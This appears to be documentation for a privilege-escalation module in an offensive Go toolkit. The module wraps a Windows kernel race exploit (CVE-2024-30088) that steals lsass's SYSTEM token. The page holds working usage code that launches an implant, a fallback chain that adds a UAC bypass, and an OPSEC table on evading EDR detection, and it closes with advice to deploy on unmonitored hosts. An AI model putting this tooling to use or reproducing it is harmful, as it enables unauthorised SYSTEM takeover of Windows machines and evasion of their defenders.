CVE-2024-30088 — kernel TOCTOU → SYSTEM

← privesc techniques · docs/index

TL;DR

cve202430088.Run(ctx) exploits a Windows kernel TOCTOU race in AuthzBasepCopyoutInternalSecurityAttributes to swap the calling thread's primary token with lsass.exe's SYSTEM token. CVSS 7.0, patched June 2024 (KB5039211). Use only in authorised engagements — the race is non-deterministic and may BSOD on misfire.

[!WARNING] Race exploits crash kernels when they misfire. The exploit retries until success or context cancellation. Do not run on hosts where a reboot is unacceptable. Always pre-flight with version.CVE202430088() to confirm the host is in the vulnerable build window.

Primer

AuthzBasepCopyoutInternalSecurityAttributes is invoked by NtAccessCheckByTypeAndAuditAlarm when the caller queries a SECURITY_DESCRIPTOR they own. The kernel reads the descriptor, validates it, and then re-reads to copy. Between the two reads the attacker swaps the descriptor pointer to a kernel object — the second read lands inside kernel space and the kernel happily writes the operator-controlled bytes to the new target.

The write primitive is pivoted into a token swap:

  1. Locate lsass.exe's _EPROCESS and read its Token.
  2. Use the kernel write to overwrite _EPROCESS.Token of the calling process with the SYSTEM token.
  3. Subsequent thread spawns inherit SYSTEM — the elevation is permanent for the process lifetime.

Discovery: k0shl (Angelboy) — DEVCORE. CWE-367.

Affected versions

OSVulnerable untilPatched in
Windows 10 1507 → 22H2June 2024 patchKB5039211 family
Windows 11 21H2 → 23H2June 2024 patchKB5039239 / KB5039212
Windows Server 2016 / 2019 / 2022 / 2022 23H2June 2024 patchKB504xxxx family

version.CVE202430088() returns the precise vulnerable/patched state including the UBR cut-off.

How it works

sequenceDiagram
    participant U as "User-mode race-thread"
    participant K as "Kernel"
    participant Lsa as "lsass.exe (PPL)"
    par Race thread
        U->>U: flip SD ptr → kernel obj
    and Probe thread
        U->>K: NtAccessCheckByTypeAndAuditAlarm(SD*)
        K->>K: read SD (validate)
        K->>K: re-read SD (copy)
        Note over K: SD ptr now points to kernel obj<br>(race won)
        K->>K: kernel write @ controlled addr
    end
    U->>K: read lsass _EPROCESS.Token
    K-->>U: SYSTEM token handle
    U->>K: kernel write self._EPROCESS.Token = SYSTEM
    K-->>U: success
    U->>U: spawn cmd.exe — inherits SYSTEM

Implementation:

  1. Run resolves the kernel symbols it needs via win/version gated lookup tables (offsets to _EPROCESS.Token, Pcb.ImageFileName).
  2. Spawns the race thread that flips the descriptor pointer in a tight loop.
  3. Spawns the probe thread that calls NtAccessCheckByTypeAndAuditAlarm repeatedly.
  4. Once a write lands the exploit reads lsass.Token and overwrites self.Token.
  5. By default, spawns cmd.exe as the post-elevation command. Use RunWithExec to override.

API Reference

type Result struct {
    PID      int           // PID elevated (== current PID)
    Spawned  *exec.Cmd     // post-elev process
    Duration time.Duration // wall-clock time the race took
}

type Config struct {
    Exec    string        // default "cmd.exe"
    Args    []string
    Timeout time.Duration // default 30s
}

func DefaultConfig() Config
func Run(ctx context.Context) (*Result, error)
func RunWithExec(ctx context.Context, cfg Config) (*Result, error)
func CheckVersion() (VersionInfo, error)

Run(ctx) (*Result, error)

Parameters:

  • ctx — cancel via context to abort the race.

Returns:

  • *Result — populated PID / Spawned / Duration on success.
  • errorErrPatched if pre-flight detects a patched build, ErrTimeout if the race window expires before success, or wrapped syscall errors for kernel-side failures.

Side effects:

  • Modifies the calling process's _EPROCESS.Token permanently (until process exit).
  • Spawns cmd.exe (or Config.Exec) as the elevated child.
  • Logs to ETW providers monitored by EDRs (race thread NtCalls).

OPSEC: noisy — see Detection table below.

RunWithExec(ctx, cfg) (*Result, error)

Same as Run but uses cfg.Exec + cfg.Args as the post-elev command. Use this when you want to spawn an implant directly instead of cmd.exe.

CheckVersion() (VersionInfo, error)

Companion to version.CVE202430088. Returns VersionInfo with Vulnerable boolean.

Examples

Simple — pre-flight then run

import (
    "context"
    "github.com/oioio-space/maldev/privesc/cve202430088"
    "github.com/oioio-space/maldev/win/version"
)

if info, _ := version.CVE202430088(); !info.Vulnerable {
    return errors.New("host patched")
}
res, err := cve202430088.Run(context.Background())
if err != nil {
    return err
}
defer res.Spawned.Wait()

Composed — custom payload spawn

cfg := cve202430088.Config{
    Exec:    `C:\Users\Public\impl.exe`,
    Args:    []string{"--once", "--quiet"},
    Timeout: 60 * time.Second,
}
res, err := cve202430088.RunWithExec(context.Background(), cfg)
if err != nil {
    return err
}
log.Printf("elevated in %s, payload PID %d", res.Duration, res.Spawned.Process.Pid)

Advanced — fall-through chain

admin, elevated, _ := privilege.IsAdmin()
if elevated {
    return nil // already there
}
if admin {
    if err := uac.FODHelper(payload); err == nil {
        return nil
    }
    // UAC bypass blocked → fall through to kernel exploit
}
if info, _ := version.CVE202430088(); info.Vulnerable {
    _, err := cve202430088.Run(ctx)
    return err
}
return errors.New("no escalation path available")

OPSEC & Detection

VectorVisibilityMitigation
Tight NtAccessCheckByTypeAndAuditAlarm loopETW Microsoft-Windows-Threat-IntelligenceThrottle race thread; accept lower success rate
_EPROCESS.Token swap detected by snapshot diffingEDR kernel callbacks (PsSetCreateProcessNotifyRoutineEx)None — the swap is the goal
BSOD on misfireCrash dump + 0x7E / 0x50 stop codePre-flight version check; abort on hardened hosts
Post-elev cmd.exeProcess tree (your PID parent of cmd.exe SYSTEM)Use RunWithExec for in-process payload spawn

This primitive is in vendor signature databases as of mid-2024. Defender + ESET + Sentinel detect the race window via ETW. Best deployed on hosts you have already determined are unmonitored.

MITRE ATT&CK

  • T1068 (Exploitation for Privilege Escalation) — kernel TOCTOU
  • T1134.001 (Token Impersonation/Theft)_EPROCESS.Token swap

Limitations

  • Race is non-deterministic. Default 30s timeout — increase via Config.Timeout for hardened hosts where the race window is shorter.
  • May BSOD on misfire (kernel write to invalid address). The exploit guards against the most common misfires but cannot rule them out.
  • Requires SeChangeNotifyPrivilege (granted to all users) and Windows 10 1507+ — not Win7/8.
  • Patched hosts (post-June 2024) return ErrPatched from pre-flight.

See also